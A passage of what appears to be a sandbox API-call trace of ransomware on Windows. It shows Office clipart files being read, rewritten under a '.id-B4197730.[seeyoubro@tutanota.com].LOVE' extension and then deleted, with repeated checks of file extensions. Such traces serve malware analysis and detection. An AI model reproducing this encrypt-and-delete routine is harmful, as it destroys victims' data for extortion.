Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0210.269] lstrlenW (lpString=".zip") returned 4 [0210.269] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.269] lstrlenW (lpString=".rar") returned 4 [0210.269] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.269] lstrlenW (lpString=".bz2") returned 4 [0210.269] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.269] lstrlenW (lpString=".7z") returned 3 [0210.269] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0210.270] lstrlenW (lpString=".dbf") returned 4 [0210.270] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0210.270] lstrlenW (lpString=".1cd") returned 4 [0210.270] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0210.270] lstrlenW (lpString=".jpg") returned 4 [0210.270] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0210.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0210.270] lstrlenW (lpString=".doc") returned 4 [0210.270] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.270] lstrlenW (lpString=".docx") returned 5 [0210.270] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0210.270] lstrlenW (lpString=".pdf") returned 4 [0210.270] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.270] lstrlenW (lpString=".xls") returned 4 [0210.270] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.270] lstrlenW (lpString=".xlsx") returned 5 [0210.270] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0210.270] lstrlenW (lpString=".ppt") returned 4 [0210.270] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0210.270] lstrlenW (lpString=".zip") returned 4 [0210.270] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.270] lstrlenW (lpString=".rar") returned 4 [0210.270] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.270] lstrlenW (lpString=".bz2") returned 4 [0210.271] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.271] lstrlenW (lpString=".7z") returned 3 [0210.271] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0210.271] lstrlenW (lpString=".dbf") returned 4 [0210.271] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0210.271] lstrlenW (lpString=".1cd") returned 4 [0210.271] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 68 [0210.271] lstrlenW (lpString=".jpg") returned 4 [0210.271] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.271] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0210.271] lstrlenW (lpString="BS01639_.WMF") returned 12 [0210.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0210.271] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=4236) returned 1 [0210.271] CloseHandle (hObject=0x37c) returned 1 [0210.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x220 [0210.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0210.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0210.272] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.272] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0210.272] GetLastError () returned 0x0 [0210.272] ReadFile (in: hFile=0x37c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x108c, lpOverlapped=0x0) returned 1 [0210.402] WriteFile (in: hFile=0x300, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x1090, lpOverlapped=0x0) returned 1 [0210.403] ReadFile (in: hFile=0x37c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.403] WriteFile (in: hFile=0x300, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.403] SetEndOfFile (hFile=0x300) returned 1 [0210.403] CloseHandle (hObject=0x300) returned 1 [0210.404] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.404] SetEndOfFile (hFile=0x37c) returned 1 [0210.405] CloseHandle (hObject=0x37c) returned 1 [0210.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0210.405] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 1 [0210.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0210.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0210.406] lstrlenW (lpString=".doc") returned 4 [0210.406] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.406] lstrlenW (lpString=".docx") returned 5 [0210.406] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0210.406] lstrlenW (lpString=".pdf") returned 4 [0210.406] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.406] lstrlenW (lpString=".xls") returned 4 [0210.406] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.406] lstrlenW (lpString=".xlsx") returned 5 [0210.406] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0210.406] lstrlenW (lpString=".ppt") returned 4 [0210.406] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0210.406] lstrlenW (lpString=".zip") returned 4 [0210.406] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.406] lstrlenW (lpString=".rar") returned 4 [0210.406] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.406] lstrlenW (lpString=".bz2") returned 4 [0210.406] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.406] lstrlenW (lpString=".7z") returned 3 [0210.406] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0210.407] lstrlenW (lpString=".dbf") returned 4 [0210.407] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0210.407] lstrlenW (lpString=".1cd") returned 4 [0210.407] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0210.407] lstrlenW (lpString=".jpg") returned 4 [0210.407] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0210.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0210.407] lstrlenW (lpString=".doc") returned 4 [0210.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.407] lstrlenW (lpString=".docx") returned 5 [0210.407] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0210.407] lstrlenW (lpString=".pdf") returned 4 [0210.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.407] lstrlenW (lpString=".xls") returned 4 [0210.407] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.407] lstrlenW (lpString=".xlsx") returned 5 [0210.407] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0210.407] lstrlenW (lpString=".ppt") returned 4 [0210.407] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0210.407] lstrlenW (lpString=".zip") returned 4 [0210.407] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.407] lstrlenW (lpString=".rar") returned 4 [0210.407] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.407] lstrlenW (lpString=".bz2") returned 4 [0210.408] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.408] lstrlenW (lpString=".7z") returned 3 [0210.408] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0210.408] lstrlenW (lpString=".dbf") returned 4 [0210.408] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0210.408] lstrlenW (lpString=".1cd") returned 4 [0210.408] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 68 [0210.408] lstrlenW (lpString=".jpg") returned 4 [0210.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.408] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0210.408] lstrlenW (lpString="CRANE.WMF") returned 9 [0210.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0210.409] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=5270) returned 1 [0210.409] CloseHandle (hObject=0x37c) returned 1 [0210.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 0x220 [0210.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0210.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0210.409] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.410] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0210.410] GetLastError () returned 0x0 [0210.410] ReadFile (in: hFile=0x37c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x1496, lpOverlapped=0x0) returned 1 [0211.898] WriteFile (in: hFile=0x300, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x14a0, lpOverlapped=0x0) returned 1 [0211.899] ReadFile (in: hFile=0x37c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0211.899] WriteFile (in: hFile=0x300, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xe6, lpOverlapped=0x0) returned 1 [0211.899] SetEndOfFile (hFile=0x300) returned 1 [0211.902] CloseHandle (hObject=0x300) returned 1 [0211.902] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.902] SetEndOfFile (hFile=0x37c) returned 1 [0211.903] CloseHandle (hObject=0x37c) returned 1 [0211.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0211.903] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 1 [0211.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0211.903] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0211.903] lstrlenW (lpString=".doc") returned 4 [0211.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.903] lstrlenW (lpString=".docx") returned 5 [0211.903] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0211.904] lstrlenW (lpString=".pdf") returned 4 [0211.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.904] lstrlenW (lpString=".xls") returned 4 [0211.904] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.904] lstrlenW (lpString=".xlsx") returned 5 [0211.904] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0211.904] lstrlenW (lpString=".ppt") returned 4 [0211.904] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0211.904] lstrlenW (lpString=".zip") returned 4 [0211.904] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.904] lstrlenW (lpString=".rar") returned 4 [0211.904] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.904] lstrlenW (lpString=".bz2") returned 4 [0211.904] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.904] lstrlenW (lpString=".7z") returned 3 [0211.904] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0211.904] lstrlenW (lpString=".dbf") returned 4 [0211.904] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0211.904] lstrlenW (lpString=".1cd") returned 4 [0211.904] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0211.904] lstrlenW (lpString=".jpg") returned 4 [0211.904] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0211.904] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0211.904] lstrlenW (lpString=".doc") returned 4 [0211.904] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0211.904] lstrlenW (lpString=".docx") returned 5 [0211.904] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0211.904] lstrlenW (lpString=".pdf") returned 4 [0211.904] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0211.904] lstrlenW (lpString=".xls") returned 4 [0211.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0211.905] lstrlenW (lpString=".xlsx") returned 5 [0211.905] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0211.905] lstrlenW (lpString=".ppt") returned 4 [0211.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0211.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0211.905] lstrlenW (lpString=".zip") returned 4 [0211.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0211.905] lstrlenW (lpString=".rar") returned 4 [0211.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0211.905] lstrlenW (lpString=".bz2") returned 4 [0211.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0211.905] lstrlenW (lpString=".7z") returned 3 [0211.905] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0211.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0211.905] lstrlenW (lpString=".dbf") returned 4 [0211.905] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0211.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0211.905] lstrlenW (lpString=".1cd") returned 4 [0211.905] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0211.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0211.905] lstrlenW (lpString=".jpg") returned 4 [0211.905] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0211.905] lstrcmpiW (lpString1=".WMF", lpString2=".LOVE") returned 1 [0211.905] lstrlenW (lpString="DD00117_.WMF") returned 12 [0211.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0211.906] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2d9ff14 | out: lpFileSize=0x2d9ff14*=31122) returned 1 [0211.906] CloseHandle (hObject=0x37c) returned 1 [0211.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x220 [0211.906] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0211.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0211.906] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.906] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0211.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0211.906] GetLastError () returned 0x0 [0211.906] ReadFile (in: hFile=0x37c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x7992, lpOverlapped=0x0) returned 1 [0212.705] WriteFile (in: hFile=0x300, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0x79a0, lpOverlapped=0x0) returned 1 [0212.706] ReadFile (in: hFile=0x37c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2d9fecc*=0x0, lpOverlapped=0x0) returned 1 [0212.706] WriteFile (in: hFile=0x300, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2d9fc94*=0xec, lpOverlapped=0x0) returned 1 [0212.707] SetEndOfFile (hFile=0x300) returned 1 [0212.707] CloseHandle (hObject=0x300) returned 1 [0212.708] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec0 | out: lpNewFilePointer=0x0) returned 1 [0212.708] SetEndOfFile (hFile=0x37c) returned 1 [0212.709] CloseHandle (hObject=0x37c) returned 1 [0212.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0212.709] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 1 [0212.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0212.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0212.710] lstrlenW (lpString=".doc") returned 4 [0212.710] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0212.710] lstrlenW (lpString=".docx") returned 5 [0212.710] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0212.710] lstrlenW (lpString=".pdf") returned 4 [0212.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0212.710] lstrlenW (lpString=".xls") returned 4 [0212.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0212.710] lstrlenW (lpString=".xlsx") returned 5 [0212.710] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0212.710] lstrlenW (lpString=".ppt") returned 4 [0212.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0212.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0212.710] lstrlenW (lpString=".zip") returned 4 [0212.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0212.710] lstrlenW (lpString=".rar") returned 4 [0212.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0212.710] lstrlenW (lpString=".bz2") returned 4 